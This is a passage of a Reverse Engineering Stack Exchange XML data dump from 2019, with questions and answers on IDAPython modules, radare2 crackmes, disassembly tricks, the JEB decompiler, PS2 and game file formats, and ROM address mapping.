noreferrer&quot;&gt;documentation&lt;/a&gt; on it is quite empty.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it recommended to use &lt;code&gt;idaapi&lt;/code&gt; instead of the single modules? Why does &lt;code&gt;idaapi&lt;/code&gt; exist?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, on the other hand, there is &lt;code&gt;idc&lt;/code&gt;, which seems to provide IDC like functions, even with C style name casing. If I recall correctly, I read that the usage of this module is deprecated and only meant for quickly porting IDC scripts; &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation&lt;/a&gt; prominently states&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This file is subject to change without any notice.&#xA;Future versions of IDA may use other definitions.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I use &lt;code&gt;ida_*&lt;/code&gt; / &lt;code&gt;idaapi&lt;/code&gt; methods instead and, if possible, ignore &lt;code&gt;idc&lt;/code&gt; completely?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="2147" LastEditDate="2019-02-11T17:39:34.323" LastActivityDate="2019-02-11T17:39:34.323" Title="IDAPython modules: Prefer using idaapi or ida_*, and ignore idc completely?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20600" PostTypeId="2" ParentId="20587" CreationDate="2019-02-11T13:38:09.903" Score="5" Body="&lt;p&gt;Yes, this is indeed possible to employ consistently throughout the entire assembly listing, making manual analysis or adjustments a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassemblers are often divided into two categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;linear sweep disassembly&lt;/strong&gt; - Linear sweep disassembly is more prone to this type of anti-disassembly, as instructions are analyzed linearly throughout the assembly code, top to bottom, which makes jumping over a single byte screw up the remaining disassembly process.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;recursive disassembly&lt;/strong&gt; - Recursive disassembly if often better (although, not immune) at managing such intentional tricks as well as unintentional complex assembly combinations. Generally speaking Recursive disassemblers are considered to yield better results but be more difficult to implement..&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this is something you're encountering often with a given sample, you may want to consider a different disassembly engine, perhaps one with emphasis on disassembly, such as IDA, as opposed to debugging oriented tool like x64dbg.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-11T13:38:09.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20601" PostTypeId="2" ParentId="20599" CreationDate="2019-02-11T13:55:04.803" Score="4" Body="&lt;p&gt;Short answer is that both &lt;code&gt;idaapi&lt;/code&gt; and &lt;code&gt;idc&lt;/code&gt; modules should be avoided if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;idaapi&lt;/code&gt; module is there for backwards compatibility and should be avoided if possible. It will be dropped in a future version of IDA (probably with little to no warning ahead of time). You should strongly prefer the &lt;code&gt;ida_&lt;/code&gt; prefixed modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In older versions of IDA, a single module exposed all IDA functionality (that was &lt;code&gt;idaapi&lt;/code&gt;), with a few modules implementing utility functions (in &lt;code&gt;idautils&lt;/code&gt;) and IDC-translations to ease migration from IDC to IDAPython (in &lt;code&gt;idc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With IDA 6.95, IDA's python SDK was divided into multiple modules and &lt;code&gt;idaapi&lt;/code&gt; was left to avoid breaking all existing code that relies on the &lt;code&gt;idaapi&lt;/code&gt; module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;idc&lt;/code&gt; module has been part of IDA for a long while (since IDAPython started), I think it'll remain part of IDA for longer than &lt;code&gt;idaapi&lt;/code&gt;, so if you have to pick whether to use &lt;code&gt;idc&lt;/code&gt; or &lt;code&gt;idaapi&lt;/code&gt; (and cannot use the specific &lt;code&gt;ida_*&lt;/code&gt; modules, for some obscure reason), I suggest you prefer &lt;code&gt;idc&lt;/code&gt; over &lt;code&gt;idaapi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also important to note that &lt;code&gt;idaapi&lt;/code&gt; has nearly no content on itself, and you'll see that nowadays &lt;code&gt;idaapi.py&lt;/code&gt; is mostly composed of importing the other modules into it's namespace. This is also wrong for several reasons (accidental namespace overshadowing, longer load times by loading unnecessary code) and was part of the reason the namespace was split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ida_idaapi&lt;/code&gt; module, however, is part of the new interface and should be used whenever needed. This is where general definitions that have no other reasonable module are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Protip&lt;/strong&gt;: When I want to convert an &lt;code&gt;idaapi&lt;/code&gt; usage to an &lt;code&gt;ida_*&lt;/code&gt; usage, I simply import the object at hand and print it's &lt;code&gt;help&lt;/code&gt;, which will list where is this object actually defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;&#xA;Although not really a duplicate, this is somewhat related to &lt;a href=&quot;http://reverseengineering.stackexchange.com/questions/14430/how-is-idapython-api-structured&quot;&gt;How is IDAPython API structured?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-02-11T14:49:16.663" LastActivityDate="2019-02-11T14:49:16.663" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20603" PostTypeId="1" CreationDate="2019-02-12T10:05:32.767" Score="1" ViewCount="193" Body="&lt;p&gt;I'm trying to add a dynamic import segment in the IDA database which contains functions names, and I'm applying type information to it, so that I can obtain argument locations by using &lt;code&gt;apply_callee_tinfo&lt;/code&gt; when I found a call to this dynamic imported function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'm testing I found that for some of the declarations, the argument or return type is not able to identify. The IDA is giving a numeric type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/85dhz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/85dhz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code used is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def add_from_declaration(declarations):&#xA;    dyn_imp_seg_loc = 0x10000&#xA;    dyn_imp_seg_loc_end = 0x10000 + len(declarations.keys()) * 4&#xA;    idaapi.add_segm(0, dyn_imp_seg_loc, dyn_imp_seg_loc_end, &quot;DYN_IMP&quot;, &quot;XTRN&quot;)&#xA;    t_loc = dyn_imp_seg_loc&#xA;    not_applied = []&#xA;    for proc_name in declarations:&#xA;        decl = str(declarations[proc_name])&#xA;        print(decl)&#xA;        try:&#xA;            name, types, fields = idc.ParseType(decl, 0)&#xA;            success = idc.MakeName(t_loc, str(proc_name))&#xA;            t = idaapi.tinfo_t()&#xA;            til = idaapi.til_t()&#xA;            t.deserialize(til, types, fields)&#xA;            if success:&#xA;                idc.MakeDword(t_loc)&#xA;                success = idaapi.apply_tinfo(t_loc, t, 1)&#xA;                if not success:&#xA;                    not_applied.append(proc_name)&#xA;        except Exception:&#xA;            continue&#xA;        finally:&#xA;            t_loc = t_loc + 4&#xA;    return not_applied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;declarations&lt;/code&gt; is a dict with key as the function name and value as the declaration.&#xA;What am I doing wrong in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; My approach is based on the answers provided in this thread, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2133/in-ida-is-there-a-way-to-add-a-reference-to-a-dynamically-imported-function-int&quot;&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2133/in-ida-is-there-a-way-to-add-a-reference-to-a-dynamically-imported-function-int&quot;&gt;In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?&lt;/a&gt;&lt;/a&gt;. My problem is not with adding import segment or creating cross references. But I'm unable to add type information to a name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the image, I'm trying to apply declaration &lt;code&gt;BOOL __stdcall ReleaseMutex(HANDLE a0);&lt;/code&gt; at location 0x10000 which is named &lt;code&gt;ReleaseMutex&lt;/code&gt;, but IDA is not able to identify &lt;code&gt;BOOL&lt;/code&gt; and &lt;code&gt;HANDLE&lt;/code&gt; structures even after parsing the declaration successfully.&lt;/p&gt;&#xA;" OwnerUserId="26611" LastEditorUserId="26611" LastEditDate="2019-02-13T05:23:54.897" LastActivityDate="2019-02-13T09:26:39.193" Title="Argument types not identified when parsing declarations" Tags="|ida|binary-analysis|idapython|idapro-sdk|ida-plugin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20604" PostTypeId="2" ParentId="17110" CreationDate="2019-02-12T10:19:03.013" Score="0" Body="&lt;p&gt;DWORD is typedefined as unsigned long which is 32bits but the address is 64bits long hence the access violation error. So, use size_t datatype which is typedefined as unsigned long long (64bits long).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As it is a 64 bit program, replace all DWORD's with size_t.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="27426" LastActivityDate="2019-02-12T10:19:03.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20605" PostTypeId="1" CreationDate="2019-02-12T10:34:21.023" Score="1" ViewCount="280" Body="&lt;p&gt;i am trying to find the password of a binary with radare2 - a crackme again :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already thought I've found the password ('pass'), but this seems to be not the right one. Or there is a trick I didn't found out yet...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code and my thoughts about it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ (fcn) sym.main 134&#xA;|   int sym.main (int argc, char **argv, char **envp);&#xA;|           ; var int var_dh @ rbp-0xd&#xA;|           ; var int var_9h @ rbp-0x9&#xA;|           ; var int var_8h @ rbp-0x8&#xA;|           ; DATA XREF from entry0 (0x6dd)&#xA;|           0x000008bc      55             push rbp&#xA;|           0x000008bd      4889e5         mov rbp, rsp&#xA;|           0x000008c0      4883ec10       sub rsp, 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Memory Set-Up&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x000008c4      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1a30 ; '('&#xA;|           0x000008cd      488945f8       mov qword [var_8h], rax&#xA;|           0x000008d1      31c0           xor eax, eax&#xA;|           0x000008d3      c745f3000000.  mov dword [var_dh], 0&#xA;|           0x000008da      c645f700       mov byte [var_9h], 0&#xA;|           0x000008de      488d3d140100.  lea rdi, qword str.Enter__pass__: ; 0x9f9 ; &quot;Enter \&quot;pass\&quot;:  &quot;&#xA;|           0x000008e5      e896fdffff     call sym.imp.puts           ; int puts(const char *s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Set up &lt;em&gt;var_dh&lt;/em&gt;, &lt;em&gt;var_9&lt;/em&gt; and &lt;em&gt;var_8h = 0&lt;/em&gt;, Display message 'Enter &quot;pass&quot;:'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x000008ea      488b151f0720.  mov rdx, qword [obj.stdin]  ; obj.__TMC_END ; [0x201010:8]=0&#xA;|           0x000008f1      488d45f3       lea rax, qword [var_dh]&#xA;|           0x000008f5      be05000000     mov esi, 5&#xA;|           0x000008fa      4889c7         mov rdi, rax&#xA;|           0x000008fd      e89efdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Get user input&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x00000902      488d45f3       lea rax, qword [var_dh]&#xA;|           0x00000906      ba04000000     mov edx, 4&#xA;|           0x0000090b      488d35030100.  lea rsi, qword str.pass     ; 0xa15 ; &quot;pass&quot;&#xA;|           0x00000912      4889c7         mov rdi, rax&#xA;|           0x00000915      e856fdffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)&#xA;|           0x0000091a      85c0           test eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Compare user input with &quot;pass&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0000091c      90             nop&#xA;|           0x0000091d      b800000000     mov eax, 0&#xA;|           0x00000922      90             nop&#xA;|           0x00000923      90             nop&#xA;|           0x00000924      90             nop&#xA;|           0x00000925      90             nop&#xA;|           0x00000926      90             nop&#xA;|           0x00000927      b800000000     mov eax, 0&#xA;|           0x0000092c      488b4df8       mov rcx, qword [var_8h]&#xA;|           0x00000930      6448330c2528.  xor rcx, qword fs:[0x28]&#xA;|       ,=&amp;lt; 0x00000939      7405           je 0x940&#xA;|       |   0x0000093b      e850fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)&#xA;|       |   ; CODE XREF from sym.main (0x939)&#xA;|       `-&amp;gt; 0x00000940      c9             leave&#xA;\           0x00000941      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Leave program, when password is wrong?!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe I just can't see the wood for the trees...&lt;/p&gt;&#xA;" OwnerUserId="27418" LastActivityDate="2019-02-12T10:34:21.023" Title="Password is right, but still wrong?" Tags="|radare2|crackme|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20606" PostTypeId="1" CreationDate="2019-02-12T17:18:24.880" Score="2" ViewCount="824" Body="&lt;p&gt;I have seen the JEB decompiler by &lt;a href=&quot;https://www.pnfsoftware.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;PNF Software&lt;/a&gt; morph from a specialised decompiler to a full fledged reverse engineering platform like Capstone or IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While examining the earlier versions of JEB, specifically the 1.x ones (some have been cracked and shared online, I noticed that it was created in pure Java, without any native code (JNI) and at most with the Jython library for access via Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, this &lt;a href=&quot;https://en.wikipedia.org/wiki/JEB_decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt; article states that JEB's base language is Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you look at the current features of JEB (currently at ver 3.X),&#xA;is it possible that the entire software is written in pure Java? From what I know about Java's Write Once Read Anywhere, there seems to be no separate downloads for Windows, Mac or Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it technically possible to implement an IDA-Pro version in pure Java without any native code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even &lt;a href=&quot;https://github.com/aquynh/capstone&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; have new language (&lt;a href=&quot;https://github.com/aquynh/capstone/tree/master/bindings/python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python&lt;/a&gt;, Ruby and &lt;a href=&quot;https://github.com/aquynh/capstone/tree/master/bindings/java&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java&lt;/a&gt;) bindings, but the decompiler engine is written in C/C++. Is this the case for JEB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I note there have been attempts &lt;a href=&quot;https://github.com/jnr/jnr-x86asm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;https://github.com/ianopolous/JayD&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; plus a research &lt;a href=&quot;http://apt.cs.manchester.ac.uk/ftp/pub/apt/theses/JohnBurcham_MSc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; to write a machine code dissembler/interpreter in pure Java, but doubt it can be stable enough to run a RE platform. Those repos I mentioned are experimental and outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I do not currently have enough money to get myself a JEB licence, can anyone using or have dug in care to comment, so that we can maintain factual information online and on Wikipedia?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok. So when I finally do have the money to get myself a licence, I would like to know if its possible to hook &lt;code&gt;LoadLibraryA&lt;/code&gt; or &lt;code&gt;LoadLibraryW&lt;/code&gt; on Windows to determine. JEB uses an Eclipse RCP executable. So do I hook that executable or the JVM executable? Because the JVM on Windows uses many Windows API calls which will probably utilise the LoadLibraryX calls.&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="2147" LastEditDate="2019-03-13T19:25:34.957" LastActivityDate="2019-03-14T18:40:22.190" Title="Is PNF's JEB Reverse Engineering platform written in pure Java?" Tags="|java|decompiler|jeb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20607" PostTypeId="2" ParentId="4430" CreationDate="2019-02-12T17:45:12.513" Score="0" Body="&lt;p&gt;Have you tried JEB's library signatures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pnfsoftware.com/blog/jeb-1-3-how-to-sign-and-match-third-party-library-code/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pnfsoftware.com/blog/jeb-1-3-how-to-sign-and-match-third-party-library-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was implemented in the earliest versions of that decompiler platform and I think will only get better over time&lt;/p&gt;&#xA;" OwnerUserId="9782" LastActivityDate="2019-02-12T17:45:12.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20608" PostTypeId="2" ParentId="20606" CreationDate="2019-02-12T18:56:47.360" Score="4" Body="&lt;p&gt;There's no technical limitation preventing software development in Java verses C. The only major advantage is execution speed. Moreover, as JEB is directed towards Java programs (android APKs) writing it in Java makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this question is not really about reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-12T18:56:47.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20609" PostTypeId="1" AcceptedAnswerId="20620" CreationDate="2019-02-12T19:40:14.050" Score="1" ViewCount="380" Body="&lt;p&gt;If I have a program A, which uses &lt;code&gt;execve&lt;/code&gt; to run program B. How can I set a breakpoint in program B's main routine if I'm debugging program A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a certain point in the execve routine, program B will be loaded into memory. After that I can see the symbols in the binary and the regions of memory they have been loaded into. However, to get to that point at the moment I just step through some of the execve instructions which is very fiddly and prone to mistakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simpler approach to this?&lt;/p&gt;&#xA;" OwnerUserId="25955" LastEditorUserId="25955" LastEditDate="2019-02-17T16:50:59.930" LastActivityDate="2019-02-17T16:50:59.930" Title="How to set a breakpoint in an execve'd program in radare2?" Tags="|debugging|x86|radare2|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20610" PostTypeId="1" CreationDate="2019-02-12T23:05:10.077" Score="1" ViewCount="567" Body="&lt;p&gt;I've been trying to translate Fullmetal Alchemist 3, i extracted the CFC.DIG file (Main data file) using a QuickBMS script. but now I'm stuck with these .Raw files from RACJIN games, [same case as Bleach Soul Carnival]. It generate two folders &quot;0&quot;: Characters in game voice &quot;1&quot;: Texture, Models, Animations.. the files seems to be compressed with a unknown algorhythm..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's  hex dump of the first few bytes in the file: &lt;a href=&quot;https://imgur.com/a/3DM6imQdo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://imgur.com/a/3DM6imQdo&lt;/a&gt; it not reveal any obvious header structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i wonder if is possible to do it.. anyone could help me with that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.RAW Folder &quot;1&quot; sample: &lt;a href=&quot;https://www.dropbox.com/s/w41oxpwq8ph7m56/1%20Folder%20Sample.7z?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/w41oxpwq8ph7m56/1%20Folder%20Sample.7z?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27435" LastActivityDate="2019-11-10T02:01:20.157" Title="Compressed PS2 .RAW File" Tags="|file-format|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20611" PostTypeId="2" ParentId="20568" CreationDate="2019-02-13T00:13:10.953" Score="3" Body="&lt;p&gt;Now that you have shown us bit more of the code, a pattern is starting to emerge.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jsr     unk_A75E       ; This function does not exist.&#xA;...&#xA;jsr     (loc_576A+2).l  ; ...points in the middle of an instruction&#xA;...&#xA;jsr     (loc_88C+4).l   ; ...points in the middle of an instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Jumping into the middle of an instruction is sometimes used to produce slightly faster and more compact code (eg. to eliminate a branch when loading a register with one of two possible values). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in this routine &lt;em&gt;every&lt;/em&gt; jsr instruction appears to be pointing to invalid code, for no apparent reason. The addresses are absolute immediate values, and your CPU doesn't have an MMU, so these addresses &lt;em&gt;must&lt;/em&gt; be valid. However the code at those locations may not be what you think it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably assumed that the ROM starts at address 0. If this is not the case then pc-relative code (branch instructions etc.) will still point to the 'correct' addresses, but absolute jumps won't. Another possibility is that the ROM &lt;em&gt;does&lt;/em&gt; start at address 0 at power on, but is later swapped for RAM and/or moved to a higher  address by special hardware. Code may also be copied from ROM to RAM (possibly at a different address) for execution. There are several possible reasons for doing this:-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;RAM may have a shorter cycle time than ROM, so code which is copied to RAM will execute faster, requiring fewer (or no) wait states.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ROM needs to be at location 0 at startup because code execution starts at location 0. However interrupt vectors also appear in the low memory area, and if they are in ROM then they cannot be changed at run time.   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Absolute short addressing (which can only access the first and last 32k of memory) is a little quicker than long addressing, so it may be desirable to have RAM in this area for storing frequently accessed variables.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should analyze the code starting from location 0, verifying that it does essential stuff such as loading the stack pointer, clearing RAM and initializing I/O hardware. Then look for anything that copies executable code from ROM to RAM, and I/O operations that might change the memory map. From this you should be able to figure what is &lt;em&gt;really&lt;/em&gt; at the locations those jsr instructions are pointing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't say exactly which CPU this code is for, and frankly I can't be bothered trawling through all the Coldfire V2 datasheets to find out what they can do. But you should, because it might have a feature which is relevant to your problem. For a full understanding you should also trace the circuit to determine the locations and functions of I/O pins etc. When reverse-engineering, every bit of information helps!           &lt;/p&gt;&#xA;" OwnerUserId="27393" LastActivityDate="2019-02-13T00:13:10.953" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="20612" PostTypeId="2" ParentId="20610" CreationDate="2019-02-13T00:36:03.317" Score="1" Body="&lt;p&gt;This is not a real answer so I think this belongs in the comments section, but I don't have enough reputation, so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened the sample files with the HxD hex editor and ran a byte-value count analysis. All the files show a similar pattern:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RoJHm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RoJHm.png&quot; alt=&quot;00000223_6635792_10.raw byte-value count analysis&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I can tell the files are not encrypted or compressed (or, at most, use a very basic compression - maybe RLE or such). Compressed files tend to have very random values so you would expect a more or less plain graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those spikes you see, the higher ones (except zero, in red) correspond to bytes with power-of-two values. Then, halfway between one spike and another you have slightly lower spikes. And so on and so on. This makes me guess. Maybe the files are precalculated tables? Binary trees? Some kind of lookup data? I don't know. Anyway, I hope this helps you a little.&lt;/p&gt;&#xA;" OwnerUserId="27436" LastActivityDate="2019-02-13T00:36:03.317" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20613" PostTypeId="2" ParentId="12732" CreationDate="2019-02-13T00:57:43.847" Score="0" Body="&lt;p&gt;VirtualProtect or WriteProcessMemory are affected by this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;because windows checks up the Vad Table with &#xA;with a internal function called &quot;MiCheckForConflictingNode&quot;&#xA;windows reacts to 0x00200000 what is 2 = VVadImageMap = 2&#xA;to value 0x00400000 what is in VadTypeVadWriteWatch = 4 &#xA;to value 0x0008000 this flag is &quot;NoChange&quot; yes (1) or no (0) either contains 0 or 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;KeAttachProcess also calls a trigger im uncertain if its a flag or a function that got set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the trigger from the target is made to delay executed&#xA;it then read out that information that got left from KeAttachProcess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after this the target prints a error but its only a trigger &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to avoid this do not use that functions or either emulate them so they dont call triggers or flags&#xA;there other ways too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microsoft gives a .txt file what includes text that is pure scam and talks like 10 pages about that microsoft is protecting those companys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and saying something like &quot;stack error&quot; what is not the case its just scamming and trolling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also i figured out that this part got added to windows with over a so called &quot;security update&quot; what is rather about the take the users away the rights from his own computer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats why i never liked windbg it has a tons of dependencies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see this problem here &lt;/p&gt;&#xA;" OwnerUserId="27439" LastActivityDate="2019-02-13T00:57:43.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20614" PostTypeId="1" AcceptedAnswerId="20630" CreationDate="2019-02-13T06:15:18.093" Score="0" ViewCount="1133" Body="&lt;p&gt;I am hoping someone can help me with a question or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I used to be a computer programmer who always wanted to get into a bit of game hacking, having not done any serious programming for a few years I had an itch for a technical endeavour. I decided on football (soccer) manager and wanted to do two things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decipher their file format for tactics. Essentially this has changed&#xA;from tac to fmf in the last version or so &lt;/li&gt;&#xA;&lt;li&gt;When a game is being played hook into the DirectX calls to essentially record a match, or figure out the format of their saved matches which can be shown to others&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now as I have no experience of DirectX I went to do number 1 first and have made good progress, but I am at the point where I need a bit of help and pointing in the right direction. Here's what I have deciphered so far with screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The start of the fmf file is written (always 02 01 61 66 65 afe) to start, so essentially the file header&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jEIsj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jEIsj.png&quot; alt=&quot;start of FMF file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then actually the old TAC format is written to disk though the user never sees it unless you breakpoint it, as it puts the tactic on the file, reads it back in and then deletes it again&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l78ON.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l78ON.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vpb59.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vpb59.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The TAC file is read back in and 